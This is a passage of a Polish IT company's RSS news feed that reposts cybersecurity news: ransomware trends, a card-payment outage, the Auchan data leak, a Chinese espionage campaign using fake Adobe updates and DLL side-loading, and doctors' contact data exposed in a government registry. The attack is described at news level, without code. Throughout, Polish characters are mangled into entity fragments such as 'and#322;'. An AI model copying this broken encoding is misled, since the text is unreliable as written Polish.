Kanaand#322; ZERO budzi gorand#261;ce dyskusje, ma zagorzaand#322;ych przeciwnikand#243;w jak i zwolennikand#243;w. Wydaje siand#281;and#160;wiand#281;c, and#380;e najciekawsze w tym and#8220;atakuand#8221; band#281;dzie obserwowanie tego, jak w mediach spoand#322;ecznoand#347;ciowych ksztaand#322;towaand#263; band#281;dzie siand#281;and#160;narracja dotyczand#261;ca tego incydentu pomiand#281;dzy tymi dwoma obozami, w ktand#243;rych zaraz na pewno ujawni siand#281; wielu ekspertand#243;w od cyberbezpieczeand#324;stwa ;-)
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pland#160; 25 wrzeand#347;nia 2025




and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Lepiej zrozum TO zagrożenie zanim ONO zniszczy Twoją firmę ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1577</link>
			<description><![CDATA[ Upadek firmy transportowej, ktand#243;ra dziaand#322;aand#322;a ponad 150 lat. Jedna z rekordowych kar za naruszenie RODO. Najwiand#281;kszy w historii wyciek danych zdrowotnych Polakand#243;w. Te trzy pozornie rand#243;and#380;ne wydarzenia and#322;and#261;czy wspand#243;lny mianownik, o ktand#243;rym specjaliand#347;ci czasem zapominajand#261;. Jeand#347;li chcesz wiand#281;cej siand#281; o nim dowiedzieand#263; to band#281;dzie ku temu dobra okazja.
W lipcu tego roku swojand#261; dziaand#322;alnoand#347;and#263; po 158 latachand#160;zakoand#324;czyand#322;a firma KNPand#160;z Northamptonshire, ktand#243;ra zatrudniaand#322;a ponad 700 ludzi i miaand#322;a flotand#281; ponad 500 ciand#281;and#380;arand#243;wek. W przestrzeni medialnej byand#322;o trochand#281; newsand#243;w na ten temat i wiand#281;kszoand#347;and#263; z nich koncentrowaand#322;a siand#281; na sand#322;abym haand#347;le. Niestety wiele nagand#322;and#243;wkand#243;w i newsand#243;w zepchnand#281;and#322;o na drugi plan informacjand#281; o tym, and#380;e ataku dokonaand#322;a grupa przestand#281;pcza Akira, ktand#243;ra jest gangiemand#160;and#160;ransomware. Dokand#322;adnie ta sama, ktand#243;ra w ubiegand#322;ym roku zaatakowaand#322;aand#160;Uniwersytet Zielonogand#243;rskiand#160;powodujand#261;c m.in. problemy z uczelnianand#261; pocztand#261;.
Inny gang ransomware and#8211; RA World and#8211; staand#322; zaand#160;atakiem na firmand#281; medycznand#261; Alab. Ten incydent jest kojarzony przede wszystkim z ogromnym wyciekiem danych i sand#322;usznie, ale wyciek byand#322; opublikowany w darknecie w ramach zemsty za niezapand#322;acenie okupu. Ofiarand#261; ransomware byand#322;a rand#243;wnieand#380; inna firma z branand#380;y zdrowotnej and#8211; American Heart of Poland SA. and#8211; ktand#243;ra dostaand#322;aand#160;1,5 mln kary za naruszenie RODO. Bycie ofiarand#261; gangu ransomware z pand#322;acenia kary nie zwalnia.
Ransomware, ransomware, ransomwareand#8230;
To sand#322;owo zaczyna siand#281; dziand#347; pojawiaand#263; w tle niemal kaand#380;dego duand#380;ego incydentu.

Tegorocznyand#160;incydent w szpitalu w MSWiA w Krakowieand#160;to teand#380; byand#322; ransomware.
Jedyny i bardzo bolesnyand#160;wyciek z Eurocertand#160;to byand#322; ransomware.
Niedawny atak na and#160;MathWorksand#160;and#8211; dewelopera Matlab and#8211; to teand#380; byand#322; ransomware.
Wand#322;adze stanuand#160;Nevadaand#160;miaand#322;y ostatnio przestand#243;j w pracy z powodu ransomware.
Nissan miaand#322; ostatnio problemy. Zgadnijcie dlaczego.

Jest teand#380; sporo mniejszych incydentand#243;w, na poziomie polski powiatowej. O nich w mediach czand#281;sto siand#281; nie mand#243;wi, ale wand#322;aand#347;ciciele wielu firm lub pracownicy rand#243;and#380;nych urzand#281;dand#243;w mieli z tego powodu niemaand#322;e problemy.
Co ciekawe, doand#347;and#263; powszechne jest przekonanie, and#380;e ransomware to problem tylko historyczny. Dzieje siand#281; tak dlatego poniewaand#380; kiedyand#347; pojedyncze ataki and#8220;szyfrowania danychand#8221; mogand#322;y mieand#263; ogromny zasiand#281;g (jak w przypadku atakand#243;w wiperamiand#160;WannaCryand#160;iand#160;Petya) albo uderzaand#322;y w firmy o bardzo kluczowym znaczeniu (jak w przypadkuand#160;ataku na Colonial Pipeline). Dziand#347; te ataki nie majand#261; globalnego zasiand#281;gu albo uderzajand#261; w mniejsze jednostki organizacyjne firm, ale potrafiand#261; byand#263; bardziej bolesne gdyand#380; przestand#281;pcy nie ograniczajand#261; siand#281; do blokowania komputerand#243;w. Atak zwykle koand#324;czy siand#281; kradzieand#380;and#261; danych i opublikowaniem ich w darknecie na stronach takich jak ta:

Strona grupy ransomware z publikacjami wyciekand#243;w

albo ta:

Kaand#380;dy wpis na tych stronach to maand#322;a tragedia jakiejand#347; firmy. Jeden z gangand#243;w and#8211; Play and#8211; opublikowaand#322; w ciand#261;gu ostatnich 7 dni 8 nowych postand#243;w o wyciekach. Podobnych stron w darknecie sand#261; setki (rand#243;and#380;ne ich indeksy wymieniajand#261; ponad 400) choand#263; trzeba przyznaand#263;, and#380;e w danym momencie aktywnych i dziaand#322;ajand#261;cych moand#380;e byand#263; zaledwie kilkadziesiand#261;t z nich. Raport The State of Cyber Security 2025 firmy Checkpoint zawiera poniand#380;szy wykres. Pokazuje on liczband#281; wyciekand#243;w publikowanych na stronach monitorowanych przez Checkpoint.

Checkpoint: and#321;and#261;czna liczba ofiar zgand#322;oszonych na stronach z wyciekami danych ransomware.

Na stronieand#160;Ransomware.liveand#160;znajdziecie informacje o ostatnich 100 ofiarach rand#243;and#380;nych grup. Tylko w tym roku and#322;and#261;czna liczba ofiar przekroczyand#322;a 5 tys., a strona ta monitoruje 287 grup.
Ryzyko, ktand#243;re musisz oszacowaand#263;
Zrozumienie ryzyka zwiand#261;zanego z ransomware moand#380;e siand#281; dla czand#281;and#347;ci z Was okazaand#263;and#8230; obowiand#261;zkiem. Od paand#378;dziernika 2024 w Unii Europejskiej ma zastosowanie tzw.and#160;dyrektywa NIS2. Za sprawand#261; tej dyrektywy dojdzie doand#160;nowelizacji Ustawy o Krajowym Systemie Cyberbezpieczeand#324;stwa, a ta nowa ustawa wprowadzi nowe obowiand#261;zki w zakresie dbania o bezpieczeand#324;stwo (band#281;dand#261; teand#380; kary za nieprzestrzeganie tych obowiand#261;zkand#243;w). Obowiand#261;zki band#281;dand#261; obejmowaand#263; m.in. prowadzenie audytand#243;w, zgand#322;aszanie incydentand#243;w, szkolenia pracownikand#243;w, stosowanie 2FA i wiele, wiele innych. Jednak kluczowym elementem band#281;dzieand#160;analizowanie ryzyka.
W dzisiejszych czasach ransomware znajduje siand#281; na szczycie listy ryzyk. Wand#322;aand#347;ciwie nie ma raportu z branand#380;y cyberbezpieczeand#324;stwa, ktand#243;ry nie wspominaand#322;by o ryzykach i rozwoju ransomware, a wiele z tych raportand#243;w stawia to zagroand#380;enie na pierwszym miejscu. Dobrze jest je znaand#263; i nie wystarczy tutaj wiedza o tym, and#380;e ofiarand#261; ataku byand#322;a ta lub inna firma. Dobrze jest wiedzieand#263;and#160;w jaki sposand#243;b ransomware dostaje siand#281; do organizacji. Dlaczego duand#380;e i waand#380;ne instytucje (nierzadko dysponujand#261;ce specjalistami i sprzand#281;tem) mimo wszystko daand#322;y siand#281; nabraand#263;? Czy to zawsze byand#322;a wina jednej konkretnej osoby czy zaniechania organizacyjne na wyand#380;szym szczeblu?
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pl 15 wrzeand#347;nia 2025 ]]></description>
		</item><item>
			<title><![CDATA[ ⚠️ Ogólnopolski problem z płatnościami kartą. Awaria terminali eService ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1576</link>
			<description><![CDATA[ Jeand#347;li wybieracie siand#281;and#160;gdzieand#347; na weekend to nie zapomnijcie zabraand#263; ze soband#261; gotand#243;wki. Od ok 13:00 dostajemy sygnaand#322;y, and#380;e w wielu miejscach w Polsce (rand#243;and#380;ne sklepy, rand#243;and#380;ne miasta,and#160;rand#243;and#380;niand#160;jeden dostawca) pojawiajand#261; siand#281;and#160;trudnoand#347;ci w przyjmowaniu pand#322;atnoand#347;ci kartami.
Dodatkowo, jeand#347;li dziand#347; korzystaliand#347;cie karty pand#322;atniczej, to zweryfikujcie, czy przypadkiem ktand#243;raand#347; z transakcji nie naliczyand#322;a siand#281; Wam podwand#243;jnie. W przypadku wykrycia tego typu problemu, zgand#322;oand#347;cie reklamacjand#281;and#160;w swoim banku.

Problem dotyczy kart zarand#243;wnoand#160;kart VISAand#160;jak iand#160;Mastercard. Niektand#243;rzy informujand#261; teand#380; o problemach z wypand#322;atami z bankomatand#243;w, ale moand#380;e to byand#263; spowodowane brakiem gotand#243;wki and#380;e wzgland#281;du na jej szybsze wybranie przez tych, ktand#243;rym nie zadziaand#322;aand#322;y karty.
W przypadku pozyskania nowych informacji, zaktualizujemy ten komunikat.
Aktualizacja 14:38
Zanim napiszecie and#380;e i u Was nie dziaand#322;a, sprawdand#378;cie jaka firma dostarcza usand#322;ugand#281; pand#322;atnoand#347;ci. Na razie praktycznie wszystkie zgand#322;oszenia od osand#243;b ktand#243;re to zrobiand#322;y wskazujand#261; na problemy z infrastrukturand#261; firmy Eservice.
Wysand#322;aliand#347;my w tej sprawie CyberAlert
Ze wzgland#281;du na masowy charakter awarii postanowiliand#347;my wysand#322;aand#263; w tej sprawie alert do uand#380;ytkownikand#243;w naszej aplikacjiand#160;CyberAlerty. Jeand#347;li teand#380; chcesz dowiadywaand#263; siand#281; jako pierwszy o problemach (atakach, awariach), ktand#243;re majand#261; wpand#322;yw na bezpieczeand#324;stwo Twoich danych lub pieniand#281;dzy, to zainstaluj naszand#261; darmowand#261; aplikacjand#281; CyberAlerty. Aplikacja nie wymaga podawania and#380;adnych danych ani rejestracji. Jedyne co robi to wysyand#322;a ostrzeand#380;enia przed nowymi lub masowymi zagroand#380;eniami. Aplikacjand#281; pobierzesz z oficjalnychand#160;sklepand#243;w Googleand#160;luband#160;Apple.
and#378;rand#243;dand#322;o niebezpiecznik.pl 13 wrzeand#347;nia 2025 ]]></description>
		</item><item>
			<title><![CDATA[ Policja rozbiła gang handlujący nielegalnymi lekami w sieci ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1574</link>
			<description><![CDATA[ Funkcjonariusze Centralnego Biura Zwalczania Cyberprzestand#281;pczoand#347;ci w Opolu rozbili zorganizowanand#261; grupand#281; przestand#281;pczand#261;, ktand#243;ra zarabiaand#322;a na internetowej sprzedaand#380;y silnych lekand#243;w przeciwband#243;lowych i przeciwzapalnych. and#346;rodki te reklamowano jako preparaty mogand#261;ce wywoand#322;aand#263; poronienie, naraand#380;ajand#261;c zdrowie i and#380;ycie kobiet.and#160;and#160;
and#160;

Handel nielegalnymi lekami pod przykrywkand#261;
and#346;ledczy z opolskiego zarzand#261;du CBZC natrafili na pierwsze tropy jeszcze w 2024 roku, kiedy na forach i platformach internetowych pojawiaand#322;y siand#281; ogand#322;oszenia o enigmatycznym charakterze. Szybko okazaand#322;o siand#281;, and#380;e chodzi o dystrybucjand#281; lekand#243;w dostand#281;pnych wyand#322;and#261;cznie na receptand#281; and#8211; w tym silnych and#347;rodkand#243;w przeciwband#243;lowych i przeciwzapalnych. Szczegand#243;lnie niebezpieczne byand#322;y sugestie zawarte w treand#347;ci ogand#322;oszeand#324;, ktand#243;re wskazywaand#322;y na moand#380;liwoand#347;and#263; wykorzystania medykamentand#243;w do przerwania ciand#261;and#380;y. Stosowanie takich lekand#243;w, zwand#322;aszcza bez kontroli lekarza, niesie powaand#380;ne ryzyko zdrowotne. W przypadku kobiet w ciand#261;and#380;y zagroand#380;enie dotyczy nie tylko samej pacjentki, ale rand#243;wnieand#380; pand#322;odu. Policjanci ustalili, and#380;e za ogand#322;oszeniami stoi zorganizowana grupa przestand#281;pcza, ktand#243;ra and#347;wiadomie i na duand#380;and#261; skaland#281; prowadziand#322;a proceder nielegalnej dystrybucji farmaceutykand#243;w. Lider grupy, 48-letni mieszkaniec Bielska-Biaand#322;ej, ukrywaand#322; siand#281; za szeregiem kont bankowych zaand#322;oand#380;onych na rand#243;and#380;ne dane, co miaand#322;o maskowaand#263; jego toand#380;samoand#347;and#263; i and#378;rand#243;dand#322;o dochodand#243;w. Jednak dziand#281;ki and#380;mudnej pracy operacyjnej and#347;ledczych udaand#322;o siand#281; go namierzyand#263; i zebraand#263; dowody na jego kierowniczand#261; roland#281;.
Aresztowania i dramatyczne skutki
and#160;
Pierwsze zatrzymania nastand#261;piand#322;y w marcu 2025 roku. W rand#281;ce policjantand#243;w wpadand#322; 48-latek oraz jego o trzy lata mand#322;odsza partnerka, ktand#243;ra wedand#322;ug and#347;ledczych peand#322;niand#322;a roland#281; and#8222;prawej rand#281;kiand#8221; szefa grupy. W piwnicy ich domu znaleziono kilkadziesiand#261;t paczek z lekami gotowymi do wysyand#322;ki. Zabezpieczono takand#380;e dokumentacjand#281;, telefony i komputery, ktand#243;re potwierdziand#322;y wczeand#347;niejsze ustalenia. Oboje zostali tymczasowo aresztowani. Nastand#281;pnego dnia zatrzymano kolejne trzy osoby powiand#261;zane z transferowaniem nielegalnie zarobionych pieniand#281;dzy. W kolejnych miesiand#261;cach lista podejrzanych powiand#281;kszaand#322;a siand#281;, a and#347;ledztwo objand#281;and#322;o coraz szerszand#261; siatkand#281; wspand#243;and#322;pracownikand#243;w. Wedand#322;ug ustaleand#324; policji, grupa zarobiand#322;a na nielegalnym procederze ponad pand#243;and#322; miliona zand#322;otych. Ofiarand#261; ich dziaand#322;alnoand#347;ci padand#322;o ponad tysiand#261;c osand#243;b. Najpowaand#380;niejszy przypadek dotyczyand#322; kobiety, ktand#243;ra po zaand#380;yciu zakupionych w sieci lekand#243;w trafiand#322;a do szpitala z choroband#261; realnie zagraand#380;ajand#261;cand#261; jej and#380;yciu. and#321;and#261;cznie 5 osand#243;b usand#322;yszaand#322;o zarzuty dziaand#322;ania w zorganizowanej grupie przestand#281;pczej, a 6 kolejnych and#8211; udziaand#322;u w praniu brudnych pieniand#281;dzy. Liderowi grupy grozi kara do 15 lat wiand#281;zienia, natomiast pozostaand#322;ym and#8211; do 10 lat. Dodatkowo postawiono im zarzuty naraand#380;enia zdrowia i and#380;ycia, nielegalnego handlu lekami oraz udzielania pomocy w przerywaniu ciand#261;and#380;y wbrew obowiand#261;zujand#261;cym przepisom.
Policja ostrzega
and#160;
Sprawa prowadzona pod nadzorem Prokuratury Okrand#281;gowej w Bielsku-Biaand#322;ej pokazuje skaland#281; i determinacjand#281; przestand#281;pcand#243;w, ktand#243;rzy wykorzystujand#261; internet do nielegalnego handlu niebezpiecznymi substancjami. Zdaniem policjantand#243;w to takand#380;e przestroga dla osand#243;b, ktand#243;re szukajand#261; and#8222;alternatywnych rozwiand#261;zaand#324;and#8221; w sieci i sand#261; gotowe ryzykowaand#263; zdrowiem, a nawet and#380;yciem, kupujand#261;c leki bez kontroli lekarza. Policja podkreand#347;la, and#380;e nielegalny obrand#243;t farmaceutykami to nie tylko kwestia naruszenia prawa farmaceutycznego, ale rand#243;wnieand#380; realne zagroand#380;enie dla and#380;ycia i zdrowia. W tej sprawie udaand#322;o siand#281; zatrzymaand#263; osoby odpowiedzialne, ale eksperci ostrzegajand#261;, and#380;e podobne ogand#322;oszenia nadal mogand#261; pojawiaand#263; siand#281; w sieci, a walka z tym procederem wymaga staand#322;ej czujnoand#347;ci.
and#160;
and#378;rand#243;dand#322;o www.securitymagazine.pl 21sierpnia 2025 ]]></description>
		</item><item>
			<title><![CDATA[ Wyciek danych klientów Auchan ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1573</link>
			<description><![CDATA[ Francuska sieand#263; handlowa Auchan poinformowaand#322;a o powaand#380;nym incydencie cyberbezpieczeand#324;stwa. Dane zwiand#261;zane z kontami lojalnoand#347;ciowymi kilkuset tysiand#281;cy klientand#243;w zostaand#322;y ujawnione po ataku hakerskim.and#160;and#160;
and#160;

Dane lojalnoand#347;ciowe w rand#281;kach cyberprzestand#281;pcand#243;w
Auchan, jedna z najwiand#281;kszych sieci handlowych w Europie, potwierdziand#322;a naruszenie danych, ktand#243;re dotknand#281;and#322;o kilkaset tysiand#281;cy klientand#243;w. Cyberatak wymierzony w systemy obsand#322;ugujand#261;ce program lojalnoand#347;ciowy umoand#380;liwiand#322; nieautoryzowany dostand#281;p do informacji powiand#261;zanych z kontami uczestnikand#243;w. Wedand#322;ug komunikatu rozesand#322;anego do poszkodowanych klientand#243;w, wand#347;rand#243;d skradzionych danych znalazand#322;y siand#281; imiona i nazwiska, adresy e-mail, numery telefonand#243;w, adresy pocztowe, a takand#380;e numery kart lojalnoand#347;ciowych. Choand#263; firma podkreand#347;la, and#380;e dane finansowe, hasand#322;a i kody PIN pozostaand#322;y nienaruszone, skala incydentu budzi niepokand#243;j. Przedstawiciele Auchan okreand#347;lili liczband#281; ujawnionych rekordand#243;w na and#8222;kilkaset tysiand#281;cyand#8221;, co stawia ten atak wand#347;rand#243;d najwiand#281;kszych naruszeand#324; danych w sektorze detalicznym we Francji w ostatnich miesiand#261;cach. Firma poinformowaand#322;a juand#380; francuski organ ochrony danych osobowych CNIL i rozpoczand#281;and#322;a wysyand#322;kand#281; oficjalnych zawiadomieand#324; do klientand#243;w. W listach wyraand#378;nie ostrzega przed moand#380;liwoand#347;ciand#261; naduand#380;yand#263; ze strony cyberprzestand#281;pcand#243;w, ktand#243;rzy mogand#261; prand#243;bowaand#263; wykorzystaand#263; pozyskane informacje w kampaniach phishingowych.
Rosnand#261;ce ryzyko dla francuskich firm
Auchan radzi klientom, aby zachowali szczegand#243;lnand#261; ostroand#380;noand#347;and#263; wobec wszelkich wiadomoand#347;ci e-mail, SMS-and#243;w i telefonand#243;w, w ktand#243;rych ktoand#347; podszywa siand#281; pod firmand#281;. Sieand#263; przypomina, and#380;e nigdy nie prosi o podanie danych logowania ani kodand#243;w zabezpieczajand#261;cych kart lojalnoand#347;ciowych. Incydent wpisuje siand#281; w szerszy kontekst nasilonych cyberatakand#243;w, ktand#243;re w ostatnich tygodniach uderzyand#322;y w najwiand#281;ksze francuskie przedsiand#281;biorstwa. O podobnych problemach poinformowaand#322;y m.in. linie lotnicze Air France i KLM, operator Orange oraz Bouygues Telecom. W czand#281;and#347;ci tych przypadkand#243;w za atakami stali cyberprzestand#281;pcy powiand#261;zani z grupand#261; ShinyHunters, specjalizujand#261;cand#261; siand#281; w kradzieand#380;y danych klientand#243;w z systemand#243;w Salesforce. Choand#263; obecnie brak jest dowodand#243;w, ktand#243;re potwierdzaand#322;yby, and#380;e wand#322;amanie do systemand#243;w Auchan ma bezpoand#347;redni zwiand#261;zek z tand#261; faland#261; atakand#243;w, eksperci wskazujand#261; na podobieand#324;stwa w charakterze naruszeand#324;. Rosnand#261;ca liczba incydentand#243;w pokazuje, and#380;e francuski rynek staand#322; siand#281; jednym z gand#322;and#243;wnych celand#243;w dla grup cyberprzestand#281;pczych. Auchan, ktand#243;re dziaand#322;a w 13 krajach i obsand#322;uguje miliony klientand#243;w w caand#322;ej Europie, stoi teraz przed zadaniem odbudowy zaufania konsumentand#243;w. Firma zapewnia, and#380;e wdroand#380;yand#322;a dodatkowe and#347;rodki bezpieczeand#324;stwa, by ograniczyand#263; ryzyko podobnych incydentand#243;w w przyszand#322;oand#347;ci, jednak w dobie coraz bardziej zuchwaand#322;ych atakand#243;w nie band#281;dzie to zadanie and#322;atwe.
and#160;
and#378;rand#243;dand#322;o www.securitymagazine.pl 26 sierpnia 2025 ]]></description>
		</item><item>
			<title><![CDATA[ Chińscy hakerzy przejmują portale w atakach na dyplomatów ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1572</link>
			<description><![CDATA[ Zespand#243;and#322; badawczy Google potwierdziand#322; nowand#261; kampaniand#281; chiand#324;skiej grupy Silk Typhoon, w ktand#243;rej cyberprzestand#281;pcy podszywali siand#281; pod strony logowania i aktualizacje oprogramowania, aby infekowaand#263; systemy dyplomatand#243;w zand#322;oand#347;liwym oprogramowaniem.and#160;and#160;
and#160;

Przejand#281;cie ruchu i faand#322;szywe aktualizacje
Hakerzy powiand#261;zani z Silk Typhoon zastosowali zaawansowanand#261; technikand#281; adversary-in-the-middle (AitM), pozwalajand#261;cand#261; im przejand#261;and#263; ruch internetowy ofiar. Atak rozpoczynaand#322; siand#281; od momentu, gdy przegland#261;darka Chrome sprawdzaand#322;a, czy uand#380;ytkownik znajduje siand#281; za portalem przechwytujand#261;cym. Zamiast prawidand#322;owej strony, dyplomaci trafiali na spreparowanand#261; witrynand#281;, ktand#243;ra podszywaand#322;a siand#281; pod serwis instalacyjny Adobe. Na stronie pojawiaand#322;a siand#281; sugestia pobrania pliku and#8222;AdobePlugins.exeand#8221;, rzekomo wymaganego do kontynuacji pracy. Aby uand#347;piand#263; czujnoand#347;and#263; uand#380;ytkownikand#243;w, hakerzy przygotowali szczegand#243;and#322;owe instrukcje pozwalajand#261;ce ominand#261;and#263; monity zabezpieczeand#324; systemu Windows. W tle instalator Visual C++ pobieraand#322; dodatkowy pakiet MSI zawierajand#261;cy legalne narzand#281;dzie Canon oraz zainfekowanand#261; bibliotekand#281; DLL, ktand#243;ra uruchamiaand#322;a backdoora SOGU.SEC. To zand#322;oand#347;liwe oprogramowanie, band#281;dand#261;ce odmianand#261; znanego PlugX, pozwalaand#322;o atakujand#261;cym zbieraand#263; dane o systemie, przesyand#322;aand#263; pliki, a takand#380;e uzyskaand#263; peand#322;nand#261; zdalnand#261; kontroland#281; nad urzand#261;dzeniem ofiary.
Dowody prowadzand#261; do Silk Typhoon
Google Threat Intelligence Group przypisaand#322;o kampaniand#281; klastrowi UNC6384, ktand#243;ry na podstawie infrastruktury i uand#380;ywanych narzand#281;dzi and#322;and#261;czony jest z chiand#324;skim ugrupowaniem TEMP.Hex, znanym rand#243;wnieand#380; jako Mustang Panda czy Silk Typhoon. Badacze podkreand#347;lajand#261;, and#380;e od poczand#261;tku 2023 roku odnotowano co najmniej 25 przypadkand#243;w podpisywania zand#322;oand#347;liwego kodu certyfikatami wystawionymi przez firmand#281; Chengdu Nuoxin Times Technology. Nie wiadomo, czy przedsiand#281;biorstwo wspand#243;and#322;pracuje and#347;wiadomie, czy jego certyfikaty zostaand#322;y skradzione, ale dla bezpieczeand#324;stwa zaleca siand#281; traktowanie ich jako niegodnych zaufania. Google zablokowaand#322;o domeny uand#380;ywane w kampanii, a takand#380;e wydaand#322;o ostrzeand#380;enia dla uand#380;ytkownikand#243;w Gmaila i Workspace naraand#380;onych na atak. Udostand#281;pniono takand#380;e reguand#322;y YARA oraz wskaand#378;niki kompromitacji, ktand#243;re majand#261; pomand#243;c organizacjom wykryand#263; infekcjand#281;. Eksperci zwracajand#261; uwagand#281;, and#380;e dziaand#322;alnoand#347;and#263; Silk Typhoon pokazuje, jak bardzo rozwinand#281;and#322;y siand#281; metody chiand#324;skich grup cyberszpiegowskich. Wykorzystanie legalnych komponentand#243;w oprogramowania i faand#322;szywych certyfikatand#243;w sprawia, and#380;e ataki sand#261; trudniejsze do wykrycia, a kampanie mogand#261; byand#263; kontynuowane w nowych wariantach niemal natychmiast po ich ujawnieniu.
and#160;
and#378;rand#243;dand#322;o www.securitymagazine.pl 28 sierpnia 2025 ]]></description>
		</item><item>
			<title><![CDATA[ Prywatne dane lekarzy można było pobrać z rządowego rejestru ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1571</link>
			<description><![CDATA[ Prywatne adresy e-mail i numery telefonand#243;w pojawiand#322;y siand#281; w nowym Rejestrze Podmiotand#243;w Wykonujand#261;cych Dziaand#322;alnoand#347;and#263; Leczniczand#261;. Tych danych nie powinno tam byand#263;, ale moand#380;liwe, and#380;e pojawiand#322;y siand#281; tam w wyniku band#322;and#281;dand#243;w lub niedopatrzeand#324; samych lekarzy. Tak czy owak, jest to dobra okazja and#380;eby zwrand#243;ciand#263; uwagand#281; na problemy jakie powstajand#261; na styku prywatnoand#347;ci i rejestrand#243;w publicznych.
Niesamowite and#378;rand#243;dand#322;a wiedzy o ludziach i firmachand#8230;
Nasze paand#324;stwo utrzymujeand#160;setkiand#160;rand#243;and#380;nego rodzajuand#160;systemand#243;w informacyjnych. Czasami sand#261; to rejestry dostand#281;pne tylko dla wybranych instytucji, innym razem dostand#281;pne publicznie. Niektand#243;re z nich sand#261; zaledwie maand#322;ymi plikami XLSX publikowanymi na stronach urzand#281;dand#243;w, inne wiand#261;and#380;and#261; siand#281; z utrzymaniem potand#281;and#380;nych baz danych, wyszukiwarek lub API. Niektand#243;re sand#261; znane wszystkim, inne tylko ludziom z pewnych branand#380;. Tego. Jest. Duand#380;o.
and#160;
Jednym z takich wartoand#347;and#263;iowych systemand#243;w jestand#160;RPWDLand#160;czyliand#160;Rejestr Podmiotand#243;w Wykonujand#261;cych Dziaand#322;alnoand#347;and#263; Leczniczand#261;, ktand#243;ry 29 czerwca 2025 roku doczekaand#322; siand#281;and#160;wersji 2.0. Wczeand#347;niej wygland#261;daand#322; mniej wiand#281;cej tak:

Zawieraand#322; wyszukiwarkand#281; praktyk lekarskich, pieland#281;gniarskich, stomatologicznych itd. Moand#380;na byand#322;o w nim sprawdziand#263; m.in. posiadane przez podmioty medyczne uprawnienia, cerytyfikaty itd. Teraz mamy nowy systemand#160;RPWDL 2.0
 

Wyszukiwarka nowego systemu daje dostand#281;p doand#160;ksiand#261;g rejestrowych, ktand#243;re wygland#261;dajand#261; mniej wiand#281;cej tak:

Lekarze ostrzegajand#261;. and#8220;Tam sand#261; nasze prywatne dane!and#8221;
W ostatnich dniach zaczand#281;li siand#281; z nami kontaktowaand#263; lekarze, ktand#243;rzy zobaczyli w systemie wiand#281;cej danych niand#380; siand#281; spodziewali. Oto przykand#322;adowe wiadomoand#347;ci z naszej redakcyjnej skrzynki:

Z nieznanych przyczyn, bez zgody uand#380;ytkownikand#243;w, publicznie zostaand#322;y udostand#281;pnione dane kontaktowe and#8211; w tym numery telefonand#243;w oraz adresy e-mail and#8211; wszystkich lekarzy, pieland#281;gniarek oraz podmiotand#243;w leczniczych zarejestrowanych w systemie.


and#8230;obecna wersja systemu Rejestrand#160;Podmiotand#243;wand#160;Wykonujand#261;cych Dziaand#322;alnoand#347;and#263; Leczniczand#261; umoand#380;liwia w doand#347;and#263; prosty sposand#243;b pozyskanie danych takich jak numery telefonand#243;w oraz adresy e-mail lekarzy (and#8230;) W kontekand#347;cie ostatnich atakand#243;w na lekarzy i personel medyczny, ujawnianie tego typu informacji przez instytucje paand#324;stwowe w moim odczuciu jest wysoce nieodpowiedzialne.


Byand#322; wyciek w rejestrtrze podmiotand#243;w leczniczych, mianowicie byand#322;y dostand#281;pne dane telefon jak i email lekarzy (and#8230;)

Czy rzeczywiand#347;cie doszand#322;o do wycieku? O tym za chwiland#281;, ale jedno moand#380;emy powiedzieand#263; na pewno and#8212;and#160;lekarzy nie poinformowano w wystarczajand#261;cym stopniu o tym z czym wiand#261;zaand#263; band#281;dzie siand#281; migracja na nowy system..and#160;A wiand#261;zaand#322;a siand#281; ona z ujawnieniem danych, ktand#243;rych do tej pory publicznie nie byand#322;o widocznych. Dopiero w poniedziaand#322;ek 7 lipca Centrum eZdrowia opublikowaand#322;o na swojej stronieand#160;komunikat, ktand#243;ry ostrzega przed moand#380;liwoand#347;ciand#261; omyand#322;kowego podania przez lekarzy informacji prywatnych zamiast tych zwiand#261;zanych z dziaand#322;alnoand#347;ciand#261; leczniczand#261;.
Wedand#322;ug CeZ and#8220;w RPWDL znajdujand#261; siand#281; m.in.: numer telefonu (rubryka 9) i adres e-mail (rubryka 10), czyli dane kontaktoweand#160;zwiand#261;zane z wykonywaniem dziaand#322;alnoand#347;ci leczniczej przez lekarza jako przedsiand#281;biorcand#281;. Rejestr nie zawiera informacji prywatnych and#8211; dotyczy wyand#322;and#261;cznie sfery zawodowejand#8221;
Istotnie, zakres ujawnionych danych reguluje m.in. Ustawa o dziaand#322;alnoand#347;ci leczniczej (art. 106). Zdaniem CeZ, mogand#322;o siand#281; tak zdarzyand#263;, and#380;eand#160;niektand#243;rzy lekarze wpisali dane kontaktowe prywatne zamiast sand#322;uand#380;bowych. I tak w wielu przypadkach byand#322;o, bo jak twierdzand#261; niektand#243;rzy lekarze, kiedy dawno temu zbierano od nich niektand#243;re dane, informowano and#380;e nie zostanand#261;and#160;one upublicznione. Aktualnie problem zauwaand#380;ono i and#8230;

Centrum e-Zdrowiaand#160;tymczasowoand#160;zablokowaand#322;o widocznoand#347;and#263; numerand#243;w telefonand#243;w i adresand#243;w e-mail w rejestrzeand#8221;.

Lekarzu! Sprawdand#378; swoje dane!
Wygland#261;da wiand#281;c na to, and#380;eand#160;nie doszand#322;o do ujawnienia danych spoza rejestru, ale po prostu nie wszyscy lekarze przygotowali siand#281; na aktualizacjand#281; systemu lub nie wszystkich odpowiednio poinformowano na czym band#281;dzie ona polegaand#263;. Oczywiand#347;cie w celu peand#322;nego wyjaand#347;nienia sytuacji, zwrand#243;ciliand#347;my siand#281; z pytaniami w tej sprawie do CeZ i Ministerstwa Zdrowia. Jeand#347;li dowiemy siand#281; czegoand#347; wiand#281;cej natychmiast damy znaand#263;. Tymczasemand#160;apelujemy do lekarzy i pieland#281;gniarek aby sprawdzili swoje dane w RPWDL i ewentualnie je poprawili. Aleand#8230; apelujemy teand#380; do osand#243;b odpowiedzialnych za systemy informacyjne, aby lepiej komunikowaand#263; skutki zmian w tych systemach.
